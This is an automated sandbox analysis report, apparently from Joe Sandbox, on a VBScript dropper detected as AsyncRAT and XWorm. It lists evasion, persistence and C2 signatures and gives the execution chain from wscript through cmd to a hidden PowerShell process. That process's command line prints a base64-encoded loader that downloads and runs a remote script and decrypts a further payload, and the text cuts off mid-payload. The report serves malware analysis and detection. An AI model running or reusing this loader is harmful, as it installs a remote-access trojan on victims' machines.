Windows
Analysis Report
Xclient.vbs
Overview
General Information
Detection
AsyncRAT, XWorm
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected AsyncRAT
Yara detected XWorm
.NET source code contains a sample name check
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Check if machine is in data center or colocation facility
Contains functionality to capture screen (.Net source)
Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)
Found suspicious powershell code related to unpacking or dynamic code loading
Joe Sandbox ML detected suspicious sample
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Sample uses string decryption to hide its real strings
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses shutdown.exe to shutdown or reboot the system
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Spawns drivers
Stores files to the Windows start menu directory
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7292 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Xclie nt.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) cmd.exe (PID: 7348 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\App Data\Local \Temp\bYKR 19crJ6p890 4.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 7356 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) cmd.exe (PID: 7400 cmdline:
C:\Windows \system32\ cmd.exe /K "C:\Users \user\AppD ata\Local\ Temp\bYKR1 9crJ6p8904 .bat" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) conhost.exe (PID: 7408 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 7456 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -noprofile -windowst yle hidden -ep bypas s -Command "[Text.En coding]::U TF8.GetStr ing([Conve rt]::FromB ase64Strin g('aWV4ICg oaWV4ICgoJ 2lNSUNST1N PRlRTRVJWS UNFVVBEQVR FU3dyIC1NS UNST1NPRlR TRVJWSUNFV VBEQVRFU1V zZUJNSUNST 1NPRlRTRVJ WSUNFVVBEQ VRFU2FzaWN QTUlDUk9TT 0ZUU0VSVkl DRVVQREFUR VNhcnNpbmc gIk1JQ1JPU 09GVFNFUlZ JQ0VVUERBV EVTaE1JQ1J PU09GVFNFU lZJQ0VVUER BVEVTdE1JQ 1JPU09GVFN FUlZJQ0VVU ERBVEVTdE1 JQ1JPU09GV FNFUlZJQ0V VUERBVEVTc E1JQ1JPU09 GVFNFUlZJQ 0VVUERBVEV Tc01JQ1JPU 09GVFNFUlZ JQ0VVUERBV EVTOi8vMHh NSUNST1NPR lRTRVJWSUN FVVBEQVRFU zAuc3QvTUl DUk9TT0ZUU 0VSVklDRVV QREFURVM4S 01JQ1JPU09 GVFNFUlZJQ 0VVUERBVEV TdVYucHMxI icpLlJlcGx hY2UoJ01JQ 1JPU09GVFN FUlZJQ0VVU ERBVEVTJyw nJykpKS5Db 250ZW50KTt mdW5jdGlvb iBrZGF1dCg kcGFyYW1fd mFyKXsJJGF lc192YXI9W 1N5c3RlbS5 TZWN1cml0e S5DcnlwdG9 ncmFwaHkuQ WVzXTo6Q3J lYXRlKCk7C SRhZXNfdmF yLk1vZGU9W 1N5c3RlbS5 TZWN1cml0e S5DcnlwdG9 ncmFwaHkuQ 2lwaGVyTW9 kZV06OkNCQ zsJJGFlc19 2YXIuUGFkZ GluZz1bU3l zdGVtLlNlY 3VyaXR5LkN yeXB0b2dyY XBoeS5QYWR kaW5nTW9kZ V06OlBLQ1M 3OwkkYWVzX 3Zhci5LZXk 9W1N5c3Rlb S5Db252ZXJ 0XTo6RnJvb UJhc2U2NFN 0cmluZygnT WRnU20vQUR pdmU2bWFpR 0IvNHVLY1N uNCt5cTlMc DNScHRaTkZ 4aFBsbz0nK TsJJGFlc19 2YXIuSVY9W 1N5c3RlbS5 Db252ZXJ0X To6RnJvbUJ hc2U2NFN0c mluZygnUmF ncFVZRkg0T 1V2L3R0NWo wbEdWZz09J yk7CSRkZWN yeXB0b3Jfd mFyPSRhZXN fdmFyLkNyZ WF0ZURlY3J 5cHRvcigpO wkkcmV0dXJ uX3Zhcj0kZ GVjcnlwdG9 yX3Zhci5Uc mFuc2Zvcm1 GaW5hbEJsb 2NrKCRwYXJ hbV92YXIsI DAsICRwYXJ hbV92YXIuT GVuZ3RoKTs JJGRlY3J5c HRvcl92YXI uRGlzcG9zZ SgpOwkkYWV zX3Zhci5Ea XNwb3NlKCk 7CSRyZXR1c m5fdmFyO31 mdW5jdGlvb iBpbGd5ZSg kcGFyYW1fd mFyKXsJSUV YICckanloa Xg9TmV3LU9 iamVjdCBTe XN0ZW0uSU8 uTUFCQ2VtQ UJDb3JBQkN 5U0FCQ3RyQ UJDZWFBQkN tKCwkcGFyY W1fdmFyKTs nLlJlcGxhY 2UoJ0FCQyc sICcnKTsJS UVYICckYnJ lZ3c9TmV3L U9iamVjdCB TeXN0ZW0uS U8uQUJDTUF CQ2VBQkNtQ UJDb0FCQ3J BQkN5QUJDU 0FCQ3RBQkN yQUJDZUFCQ 2FBQkNtQUJ DOycuUmVwb GFjZSgnQUJ DJywgJycpO wlJRVggJyR 2d3Rzdz1OZ XctT2JqZWN 0IFN5c3Rlb S5JTy5DQUJ Db21BQkNwc kFCQ2VBQkN zc0FCQ2lvQ UJDbi5BQkN HWkFCQ2lwQ UJDU3RBQkN yZUFCQ2FtQ UJDKCRqeWh peCwgW0lPL kNBQkNvbUF CQ3ByQUJDZ XNBQkNzaUF CQ29uQUJDL kNvQUJDbXB BQkNyZUFCQ 3NzQUJDaUF CQ29BQkNuQ UJDTW9kZV0 6OkRBQkNlQ UJDY0FCQ29 tcEFCQ3JlQ UJDc3MpOyc uUmVwbGFjZ SgnQUJDJyw gJycpOwkkd nd0c3cuQ29 weVRvKCRic mVndyk7CSR 2d3Rzdy5Ea XNwb3NlKCk 7CSRqeWhpe C5EaXNwb3N lKCk7CSRic mVndy5EaXN wb3NlKCk7C SRicmVndy5 Ub0FycmF5K Ck7fWZ1bmN 0aW9uIHpnd 3d3KCRwYXJ hbV92YXIsJ HBhcmFtMl9 2YXIpewlJR VggJyRieWF 3aD1bU3lzd GVtLlJBQkN lQUJDZmxBQ kNlY3RBQkN pb0FCQ24uQ UJDQXNBQkN zZUFCQ21iQ UJDbEFCQ3l BQkNdOjpMQ UJDb0FCQ2F BQkNkQUJDK FtieXRlW11 dJHBhcmFtX 3Zhcik7Jy5 SZXBsYWNlK CdBQkMnLCA nJyk7CUlFW